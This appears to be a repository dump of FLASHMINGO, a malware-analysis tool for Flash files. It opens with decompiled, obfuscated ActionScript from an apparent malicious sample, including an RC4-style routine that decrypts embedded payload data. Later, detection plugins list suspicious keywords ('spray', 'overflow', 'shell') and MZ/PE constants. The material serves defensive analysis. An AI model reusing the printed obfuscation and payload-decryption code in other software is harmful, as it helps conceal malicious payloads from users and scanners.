super();\r\n this.starter = param1;\r\n", "86": "", "87": " this.BookEnter = new BookEnter.class extends ByteArray;\r\n", "88": " super();\r\n endian = Kimydid.winifydeg(-1820302796);\r\n this._this = this;\r\n this.index = param1;\r\n", "89": ""}, "-1820302793": {"0": " false;\r\n true;\r\n", "1": " true;\r\n false;\r\n true;\r\n super();\r\n false;\r\n true;\r\n trace(Kimydid.winifydeg(5));\r\n", "2": " this.Dugyzoq = new Dugyzoq.class extends MovieClip;\r\n", "3": " true;\r\n false;\r\n false;\r\n zaveto = Buru;\r\n false;\r\n true;\r\n nem = Lekojoci;\r\n true;\r\n true;\r\n pezic = Vemodusu;\r\n false;\r\n tunicok = new Array();\r\n true;\r\n rep = new Array();\r\n false;\r\n true;\r\n true;\r\n false;\r\n rypoh = false;\r\n false;\r\n", "4": " false;\r\n true;\r\n var _loc1_:ByteArray = new zaveto() as ByteArray;\r\n var _loc2_:ByteArray = new nem() as ByteArray;\r\n var _loc3_:ByteArray = new pezic() as ByteArray;\r\n false;\r\n _loc3_.endian = Endian.LITTLE_ENDIAN;\r\n true;\r\n mefyn = _loc3_.readInt();\r\n var _loc4_:int = _loc2_.readByte();\r\n true;\r\n var _loc5_:int = 0;\r\n true;\r\n while(true)\r\n {\r\n false;\r\n if(_loc5_ >= _loc4_)\r\n {\r\n break;\r\n }\r\n jaq(_loc2_);\r\n true;\r\n _loc5_++;\r\n }\r\n true;\r\n false;\r\n _loc4_ = _loc1_.readInt();\r\n false;\r\n var _loc6_:int = 0;\r\n true;\r\n while(_loc6_ < _loc4_)\r\n {\r\n false;\r\n hynuky(_loc1_,rep[_loc6_ % rep.length]);\r\n true;\r\n _loc6_++;\r\n false;\r\n true;\r\n }\r\n true;\r\n false;\r\n rypoh = true;\r\n", "5": " false;\r\n true;\r\n var _loc3_:int = param1.readInt();\r\n var _loc4_:ByteArray = new ByteArray();\r\n true;\r\n true;\r\n param1.readBytes(_loc4_,0,_loc3_);\r\n var _loc5_:Karufylec = new Karufylec(param2);\r\n _loc5_.zutyp(_loc4_);\r\n true;\r\n false;\r\n _loc4_.position = 0;\r\n false;\r\n tunicok.push(_loc4_.readUTFBytes(_loc4_.length));\r\n", "6": " false;\r\n true;\r\n var _loc2_:ByteArray = new ByteArray();\r\n true;\r\n true;\r\n param1.readBytes(_loc2_,0,16);\r\n false;\r\n true;\r\n true;\r\n _loc2_.position = 0;\r\n false;\r\n rep.push(_loc2_);\r\n false;\r\n true;\r\n", "7": " false;\r\n true;\r\n false;\r\n if(!rypoh)\r\n {\r\n false;\r\n qyw();\r\n }\r\n false;\r\n return tunicok[param1 ^ mefyn];\r\n", "8": " false;\r\n true;\r\n true;\r\n super();\r\n", "9": " Kimydid = new Kimydid.class extends Sprite;\r\n", "10": "", "12": " IFlexAsset = new IFlexAsset.class extends null;\r\n", "13": " VERSION = \"4.1.0.16076\";\r\n", "14": " super();\r\n", "15": " ByteArrayAsset = new ByteArrayAsset.class extends ByteArray;\r\n", "16": " false;\r\n true;\r\n", "17": " false;\r\n true;\r\n false;\r\n super();\r\n", "18": " Vemodusu = new Vemodusu.class extends ByteArrayAsset;\r\n", "19": " true;\r\n false;\r\n", "20": " false;\r\n true;\r\n false;\r\n super();\r\n", "21": " Buru = new Buru.class extends ByteArrayAsset;\r\n", "22": " false;\r\n true;\r\n", "23": " false;\r\n true;\r\n false;\r\n super();\r\n false;\r\n this.pyvum = new ByteArray();\r\n true;\r\n if(param1)\r\n {\r\n false;\r\n this.tyk(param1);\r\n }\r\n", "24": " true;\r\n false;\r\n return this.zim;\r\n", "25": " false;\r\n true;\r\n true;\r\n var _loc2_:int = 0;\r\n true;\r\n var _loc3_:* = 0;\r\n false;\r\n var _loc4_:int = 0;\r\n false;\r\n true;\r\n false;\r\n _loc2_ = 0;\r\n false;\r\n while(true)\r\n {\r\n true;\r\n true;\r\n true;\r\n if(_loc2_ >= 256)\r\n {\r\n break;\r\n }\r\n false;\r\n this.pyvum[_loc2_] = _loc2_;\r\n true;\r\n _loc2_++;\r\n true;\r\n true;\r\n }\r\n true;\r\n false;\r\n false;\r\n true;\r\n _loc3_ = 0;\r\n false;\r\n true;\r\n false;\r\n _loc2_ = 0;\r\n true;\r\n while(true)\r\n {\r\n true;\r\n if(_loc2_ >= 256)\r\n {\r\n break;\r\n }\r\n true;\r\n false;\r\n true;\r\n _loc3_ = _loc3_ + this.pyvum[_loc2_] + param1[_loc2_ % param1.length] & 255;\r\n true;\r\n true;\r\n true;\r\n _loc4_ = this.pyvum[_loc2_];\r\n true;\r\n true;\r\n this.pyvum[_loc2_] = this.pyvum[_loc3_];\r\n true;\r\n true;\r\n this.pyvum[_loc3_] = _loc4_;\r\n false;\r\n true;\r\n _loc2_++;\r\n false;\r\n }\r\n true;\r\n true;\r\n false;\r\n this.tyjevek = 0;\r\n false;\r\n false;\r\n this.lowutyrym = 0;\r\n", "26": " true;\r\n false;\r\n true;\r\n var _loc1_:int = 0;\r\n true;\r\n false;\r\n false;\r\n true;\r\n this.tyjevek = this.tyjevek + 1 & 255;\r\n false;\r\n true;\r\n true;\r\n true;\r\n this.lowutyrym = this.lowutyrym + this.pyvum[this.tyjevek] & 255;\r\n true;\r\n true;\r\n _loc1_ = this.pyvum[this.tyjevek];\r\n false;\r\n true;\r\n this.pyvum[this.tyjevek] = this.pyvum[this.lowutyrym];\r\n true;\r\n true;\r\n this.pyvum[this.lowutyrym] = _loc1_;\r\n false;\r\n true;\r\n return this.pyvum[_loc1_ + this.pyvum[this.tyjevek] & 255];\r\n", "27": " true;\r\n false;\r\n true;\r\n return 1;\r\n", "28": " false;\r\n true;\r\n true;\r\n var _loc2_:uint = 0;\r\n true;\r\n while(_loc2_ < param1.length)\r\n {\r\n param1[_loc2_++] = param1[_loc2_++] ^ this.fuwidysi();\r\n }\r\n", "29": " false;\r\n true;\r\n true;\r\n this.zowyzu(param1);\r\n", "30": " false;\r\n true;\r\n false;\r\n var _loc1_:uint = 0;\r\n false;\r\n if(this.pyvum != null)\r\n {\r\n false;\r\n true;\r\n false;\r\n _loc1_ = 0;\r\n false;\r\n while(_loc1_ < this.pyvum.length)\r\n {\r\n false;\r\n true;\r\n this.pyvum[_loc1_] = Math.random() * 256;\r\n true;\r\n false;\r\n _loc1_++;\r\n true;\r\n false;\r\n }\r\n true;\r\n false;\r\n true;\r\n this.pyvum.length = 0;\r\n false;\r\n false;\r\n this.pyvum = null;\r\n true;\r\n false;\r\n }\r\n false;\r\n this.tyjevek = 0;\r\n true;\r\n false;\r\n this.lowutyrym = 0;\r\n false;\r\n true;\r\n", "31": " this.Karufylec = new Karufylec.class extends Object;\r\n", "32": " false;\r\n true;\r\n", "33": " true;\r\n false;\r\n true;\r\n super();\r\n", "34": " Lekojoci = new Lekojoci.class extends ByteArrayAsset;\r\n", "35": ""}} -------------------------------------------------------------------------------- /plugins/decompiler/ffdec.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # Interact with the JPEXS decompiler library 6 | 7 | import os 8 | import sys 9 | 10 | sys.path.append("ffdec_lib/ffdec_lib.jar") 11 | 12 | import json 13 | 14 | import ffdec_lib 15 | import com.jpexs.decompiler.flash as f 16 | import com.jpexs.decompiler.flash.abc.avm2.deobfuscation.DeobfuscationLevel as DeobfuscationLevel 17 | 18 | from com.jpexs.decompiler.flash.abc import RenameType 19 | 20 | 21 | 22 | 23 | def main(): 24 | swf = None 25 | decompilation_d = {} 26 | 27 | if len(sys.argv) < 2: 28 | print("Usage: {} ".format(sys.argv[0])) 29 | sys.exit(1) 30 | else: 31 | SWFFILE = sys.argv[1] 32 | 33 | print("[*] Reading file: {}...".format(SWFFILE)) 34 | 35 | try: 36 | with open(SWFFILE, "rb") as fp: 37 | swf = f.SWF(fp, False) 38 | except Exception as e: 39 | print("[x] FFDEC: Failed to process the sample file: {}".format(e)) 40 | return 41 | 42 | # ------------------------------------------- 43 | # SWF-level preprocessing 44 | # ------------------------------------------- 45 | level = DeobfuscationLevel.getByLevel(1) 46 | swf.deobfuscate(level) 47 | 48 | # Get rid of crazy invalid identifiers 49 | swf.deobfuscateIdentifiers(RenameType.RANDOMWORD) 50 | swf.assignClassesToSymbols() 51 | 52 | # General information 53 | print("[*] The entry point is {}".format(swf.documentClass)) 54 | 55 | # This is roughly equivalent to instance names in SWIFFAS 56 | as3packs = swf.getAS3Packs() 57 | for as3pack in as3packs: 58 | print("- {}".format(as3pack.nameWithNamespaceSuffix)) 59 | 60 | for tag in swf.abcList: 61 | try: 62 | print("TAG: {}".format(tag)) 63 | decompilation_d[tag.name] = {} 64 | 65 | # AS3 ByteCode! 66 | abc = tag.getABC() 67 | 68 | # NOTE: Not sure whether this has some effect 69 | # Worst case scenario this is idem-potent 70 | abc.removeDeadCode() 71 | 72 | bodies = abc.bodies 73 | 74 | for body in bodies: 75 | # This is the AVM2 ByteCode for this method's body 76 | # It is just an array of bytes, as expected :) 77 | avm2_bytecode = body.codeBytes 78 | 79 | # This however is the string repr of the disassembly 80 | # with mnemonics applied 81 | avm2_code = body.code 82 | 83 | # Unsurprisingly this produces the method's body 84 | # decompilation :D 85 | index = body.method_info 86 | 87 | decompilation_d[tag.name][index] = body.toSource() 88 | 89 | except Exception as e: 90 | print("[x] Failed to process tag {}: {}".format(tag, e)) 91 | 92 | print("[*] Dumping decompiled methods to a JSON file...") 93 | 94 | with open('decompilation.json', 'w') as fp: 95 | fp.write(json.dumps(decompilation_d)) 96 | 97 | print("[*] Done.") 98 | 99 | # Sometimes this hangs in there 100 | # and needs some help exiting :) 101 | sys.exit(0) 102 | 103 | 104 | 105 | if __name__ == '__main__': 106 | main() 107 | -------------------------------------------------------------------------------- /plugins/decompiler/ffdec_lib/ffdec_lib.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/decompiler/ffdec_lib/ffdec_lib.jar -------------------------------------------------------------------------------- /plugins/decompiler/ffdec_lib/license.txt: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /plugins/decompiler/jython.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/decompiler/jython.jar -------------------------------------------------------------------------------- /plugins/decompiler/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # Decompiler plugin 4 | 5 | name: Decompiler 6 | active: yes 7 | description: Leverages FFDEC library to decompile SWF methods 8 | returns: a dictionary d[method name] = decompiled_method_text -------------------------------------------------------------------------------- /plugins/decompiler/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # This is a preliminary version of a module to interact with FFDEC decompiler 6 | # It spawns a subprocess calling a Jython script to interact with the Java library 7 | 8 | import os 9 | import json 10 | import subprocess 11 | 12 | import logging 13 | import logging.handlers 14 | 15 | 16 | class Plugin: 17 | """ 18 | All plugins work on a SWFObject passed 19 | as an argument 20 | """ 21 | 22 | def __init__(self, swf=None, ml=None): 23 | self.swf = swf 24 | 25 | if not ml: 26 | self.ml = self._init_logging() 27 | else: 28 | self.ml = ml 29 | 30 | self.ml.info('Plugin started') 31 | 32 | def _init_logging(self): 33 | """ 34 | Plugins will inherit from this class to have 35 | a consistent logging scheme 36 | """ 37 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 38 | level=logging.DEBUG) 39 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 40 | 41 | log_dir = os.path.dirname(os.path.realpath(__file__)) 42 | log_filename = os.path.join(log_dir, 'plugin.log') 43 | 44 | handler = logging.handlers.RotatingFileHandler( 45 | log_filename, 46 | maxBytes=5 * 1024 * 1024, 47 | backupCount=5) 48 | 49 | handler.setLevel(logging.DEBUG) 50 | handler.setFormatter(fmt) 51 | 52 | ml = logging.getLogger('main') 53 | ml.addHandler(handler) 54 | 55 | return ml 56 | 57 | def run(self): 58 | self.ml.info("Decompiling the entire SWF...") 59 | 60 | return self._decompile_swf() 61 | 62 | # ------------------------------------------ 63 | # Decompilation by FFDEC lib 64 | # ------------------------------------------ 65 | def _decompile_swf(self): 66 | """Let's keep this simple for now 67 | The decompilation is saved to a file in JSON format 68 | """ 69 | 70 | decompiled_methods = {} 71 | plugin_loc = os.path.dirname(os.path.realpath(__file__)) 72 | 73 | # This is blocking. We want this. 74 | try: 75 | subprocess.call([ 76 | # For Windows systems: 77 | # 'C:\\jython2.7.0\\bin\\jython.exe', 78 | 'jython', 79 | 'ffdec.py', 80 | self.swf.filename 81 | ], 82 | cwd=plugin_loc) 83 | except Exception as e: 84 | print("[x] Decompilation subprocess failed!") 85 | return 86 | 87 | input_file = os.path.join(plugin_loc, 'decompilation.json') 88 | 89 | try: 90 | with open(input_file, 'r') as fj: 91 | decompiled_methods = json.loads(fj.read()) 92 | except IOError as e: 93 | print("[x] Failed to read decompilation file: {}".format(e)) 94 | 95 | return decompiled_methods 96 | -------------------------------------------------------------------------------- /plugins/suspicious_constants/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/suspicious_constants/___init__.py -------------------------------------------------------------------------------- /plugins/suspicious_constants/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # This is a template for easy development 4 | 5 | name: SuspiciousConstants 6 | active: yes 7 | description: This looks for suspicious constant values 8 | returns: A list of suspicious constants -------------------------------------------------------------------------------- /plugins/suspicious_constants/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # This finds suspicious constants in the constant pool(s) 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | All plugins work on a SWFObject passed 15 | as an argument 16 | """ 17 | 18 | def __init__(self, swf=None, ml=None, constants=[]): 19 | self.swf = swf 20 | self.user_constants = constants 21 | 22 | if not ml: 23 | self.ml = self._init_logging() 24 | else: 25 | self.ml = ml 26 | 27 | self.ml.info('Plugin started') 28 | 29 | def _init_logging(self): 30 | """ 31 | Plugins will inherit from this class to have 32 | a consistent logging scheme 33 | """ 34 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 35 | level=logging.DEBUG) 36 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 37 | 38 | log_dir = os.path.dirname(os.path.realpath(__file__)) 39 | log_filename = os.path.join(log_dir, 'plugin.log') 40 | 41 | handler = logging.handlers.RotatingFileHandler( 42 | log_filename, 43 | maxBytes=5 * 1024 * 1024, 44 | backupCount=5) 45 | 46 | handler.setLevel(logging.DEBUG) 47 | handler.setFormatter(fmt) 48 | 49 | ml = logging.getLogger('main') 50 | ml.addHandler(handler) 51 | 52 | return ml 53 | 54 | def run(self): 55 | self.ml.info("Looking for suspicious constants...") 56 | 57 | return self._find_suspicious_constants() 58 | 59 | def _find_suspicious_constants(self): 60 | """Find suspicious constants 61 | 62 | Some things are pretty fishy, like for example 63 | `MZ` or `PE` magic numbers 64 | We search for this in the constant pool 65 | """ 66 | 67 | suspicious_constants = [] 68 | 69 | funky_constants = [0x4550, 0x5a4d, 0x905a4d, 0x90905a4d] 70 | funky_constants += self.user_constants 71 | 72 | for c in self.swf.constants: 73 | if c in funky_constants: 74 | suspicious_constants.append(c) 75 | 76 | return suspicious_constants 77 | -------------------------------------------------------------------------------- /plugins/suspicious_loops/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/suspicious_loops/___init__.py -------------------------------------------------------------------------------- /plugins/suspicious_loops/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # Find suspicious constructs within loops 4 | 5 | name: SuspiciousLoops 6 | active: yes 7 | description: Find suspicious constructs within loops 8 | returns: A list of methods doing sneaky things -------------------------------------------------------------------------------- /plugins/suspicious_loops/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! Plugin 5 | # Finds loops containing suspicious constructs 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | All plugins work on a SWFObject passed 15 | as an argument 16 | """ 17 | 18 | def __init__(self, swf=None, ml=None, ins=[]): 19 | self.swf = swf 20 | self.user_ins_list = ins 21 | 22 | if not ml: 23 | self.ml = self._init_logging() 24 | else: 25 | self.ml = ml 26 | 27 | self.ml.info('Plugin started') 28 | 29 | def _init_logging(self): 30 | """ 31 | Plugins will inherit from this class to have 32 | a consistent logging scheme 33 | """ 34 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 35 | level=logging.DEBUG) 36 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 37 | 38 | log_dir = os.path.dirname(os.path.realpath(__file__)) 39 | log_filename = os.path.join(log_dir, 'plugin.log') 40 | 41 | handler = logging.handlers.RotatingFileHandler( 42 | log_filename, 43 | maxBytes=5 * 1024 * 1024, 44 | backupCount=5) 45 | 46 | handler.setLevel(logging.DEBUG) 47 | handler.setFormatter(fmt) 48 | 49 | ml = logging.getLogger('main') 50 | ml.addHandler(handler) 51 | 52 | return ml 53 | 54 | def run(self): 55 | self.ml.info("Looking for suspicious loops...") 56 | 57 | return self._find_suspicious_loops() 58 | 59 | def _find_suspicious_loops(self): 60 | """Finds suspicious constructs within loops 61 | 62 | This heuristic can point out to encryption/decryption 63 | routines (ex. loops containing `bitxor` instructions) 64 | An user defined list of instructions can be used as well 65 | """ 66 | 67 | suspicious_methods = [] 68 | 69 | suspicious_ins = ['bitxor', 'bitand', 'bitor'] 70 | suspicious_ins += self.user_ins_list 71 | 72 | method_names = self.swf.get_all_method_names() 73 | 74 | for method_name in method_names: 75 | loop_ins = self.swf.find_simple_loops(method_name) 76 | 77 | for ins in loop_ins: 78 | if ins in suspicious_ins: 79 | # NOTE: this could be refined with some kind of 80 | # metric. For now we mark the method as soon 81 | # as we find one of these instructions 82 | suspicious_methods.append(method_name) 83 | break 84 | 85 | return suspicious_methods 86 | -------------------------------------------------------------------------------- /plugins/suspicious_names/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/suspicious_names/___init__.py -------------------------------------------------------------------------------- /plugins/suspicious_names/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # This is a template for easy development 4 | 5 | name: SuspiciousNames 6 | active: yes 7 | description: It finds suspicious names in methods, constants, etc. 8 | returns: A list of suspicious names found in the constant pools (all ABC tags) -------------------------------------------------------------------------------- /plugins/suspicious_names/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! Plugin 5 | # Find suspicious names 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | """ 15 | 16 | def __init__(self, swf=None, ml=None, names=[]): 17 | self.swf = swf 18 | self.user_names = names 19 | 20 | if not ml: 21 | self.ml = self._init_logging() 22 | else: 23 | self.ml = ml 24 | 25 | self.ml.info('Plugin started') 26 | 27 | def _init_logging(self): 28 | """ 29 | Plugins will inherit from this class to have 30 | a consistent logging scheme 31 | """ 32 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 33 | level=logging.DEBUG) 34 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 35 | 36 | log_dir = os.path.dirname(os.path.realpath(__file__)) 37 | log_filename = os.path.join(log_dir, 'plugin.log') 38 | 39 | handler = logging.handlers.RotatingFileHandler( 40 | log_filename, 41 | maxBytes=5 * 1024 * 1024, 42 | backupCount=5) 43 | 44 | handler.setLevel(logging.DEBUG) 45 | handler.setFormatter(fmt) 46 | 47 | ml = logging.getLogger('main') 48 | ml.addHandler(handler) 49 | 50 | return ml 51 | 52 | def run(self): 53 | self.ml.info("Looking for suspicious names...") 54 | 55 | return self._find_suspicious_names() 56 | 57 | def _find_suspicious_names(self): 58 | """Searches the constant pool(s) for suspicious names 59 | 60 | User-defined names can be added as well 61 | """ 62 | 63 | suspicious_names = [] 64 | 65 | funky_strings = ['overflow', 'spray', 'shell', 'crypt', 'virt', 'protect', 66 | 'vuln', 'li32', 'si32', 'xor', 'encode', 'decode', 67 | 'sleep', 'key'] 68 | funky_strings += self.user_names 69 | 70 | for s in self.swf.strings: 71 | for funky in funky_strings: 72 | if funky in s.lower(): 73 | suspicious_names.append(s) 74 | 75 | return suspicious_names 76 | -------------------------------------------------------------------------------- /plugins/template/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/template/___init__.py -------------------------------------------------------------------------------- /plugins/template/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # This is a template for easy development 4 | 5 | name: Template 6 | active: no 7 | description: copy this to kickstart development 8 | returns: nothing -------------------------------------------------------------------------------- /plugins/template/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # This is a template for easy development 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | All plugins work on a SWFObject passed 15 | as an argument 16 | """ 17 | 18 | def __init__(self, swf=None, ml=None): 19 | self.swf = swf 20 | 21 | if not ml: 22 | self.ml = self._init_logging() 23 | else: 24 | self.ml = ml 25 | 26 | self.ml.info('Plugin started') 27 | 28 | def _init_logging(self): 29 | """ 30 | Plugins will inherit from this class to have 31 | a consistent logging scheme 32 | """ 33 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 34 | level=logging.DEBUG) 35 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 36 | 37 | log_dir = os.path.dirname(os.path.realpath(__file__)) 38 | log_filename = os.path.join(log_dir, 'plugin.log') 39 | 40 | handler = logging.handlers.RotatingFileHandler( 41 | log_filename, 42 | maxBytes=5 * 1024 * 1024, 43 | backupCount=5) 44 | 45 | handler.setLevel(logging.DEBUG) 46 | handler.setFormatter(fmt) 47 | 48 | ml = logging.getLogger('main') 49 | ml.addHandler(handler) 50 | 51 | return ml 52 | 53 | # ----------------------------------------------------------- 54 | # Custom code goes here 55 | # Override the `run` method and add your custom ones below 56 | # ----------------------------------------------------------- 57 | def run(self): 58 | """ Cheap man's interface :) """ 59 | pass 60 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML 2 | https://github.com/carlosgprado/swiffas/zipball/master 3 | cmd2 4 | -------------------------------------------------------------------------------- /samples/BigRig.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/samples/BigRig.swf -------------------------------------------------------------------------------- /samples/Evil.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/samples/Evil.swf --------------------------------------------------------------------------------